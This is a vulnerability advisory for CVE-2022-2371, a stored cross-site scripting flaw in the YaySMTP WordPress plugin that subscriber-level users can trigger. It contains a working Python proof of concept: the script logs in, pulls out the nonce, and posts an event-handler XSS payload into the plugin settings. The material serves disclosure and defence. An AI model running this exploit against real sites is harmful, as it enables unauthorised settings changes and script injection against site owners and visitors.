YaySMTP < 2.2.1 – Subscriber+ Stored Cross-Site Scripting | CVE 2022-2371

Description

The plugin does not have proper authorisation when saving its settings, allowing users with a role as low as subscriber to change them, and use that to conduct Stored Cross-Site Scripting attack due to the lack of escaping in them as well.

v2.2.1 fixed the authorisation issue but not the escaping one. A separate issue has been created

Proof of Concept

# @author : 0xshdax (Rafshanzani Suhada)
# @usage : python3 script.py http://localhost
import requests, sys, re, json

## Setup here
url = sys.argv[1]
headers = { 'Content-Type': 'application/x-www-form-urlencoded' }
username = 'guest'
password = 'guest'
regexnonce = r"\"ajaxNonce\":\"(.*?)(?:\",\"currentMailer\")"

##
def loginWP(username, password, url):
    global regexnonce

    session = requests.Session()
    cookies = { 'wordpress_test_cookie' : 'WP+Cookie+check' }
    data = { 'log' : username, 'pwd' : password, 'wp-submit' : 'Login', 'redirect_to' : url + '/wp-admin/', 'testcookie' : 1 }
    
    response = session.post(url + '/wp-login.php', cookies=cookies, data=data)
    responses = response.text
    findnonce = re.findall(regexnonce,responses)
    if not findnonce:
        print('[ * ] Nonce not found or invalid credentials. Please check again!')
        exit()
    else:
        print('[ * ] Success get nonce!')
        datalog = 'action=yaysmtp_save_settings&nonce=' + findnonce[0] + '&settings[fromEmail]=guest@localhost.id&settings[fromName]="autofocus onfocus=alert(/XSS/)// &settings[forceFromEmail]=1&settings[forceFromName]=0&settings[mailerProvider]=mail'
        getlogsmtp = session.post(url + '/wp-admin/admin-ajax.php', headers=headers, data=datalog)
        prettyjson = json.loads(getlogsmtp.text)
        print(json.dumps(prettyjson, indent=4))

print('[ * ] Trying to login user!')
getnonce = loginWP(username, password, url)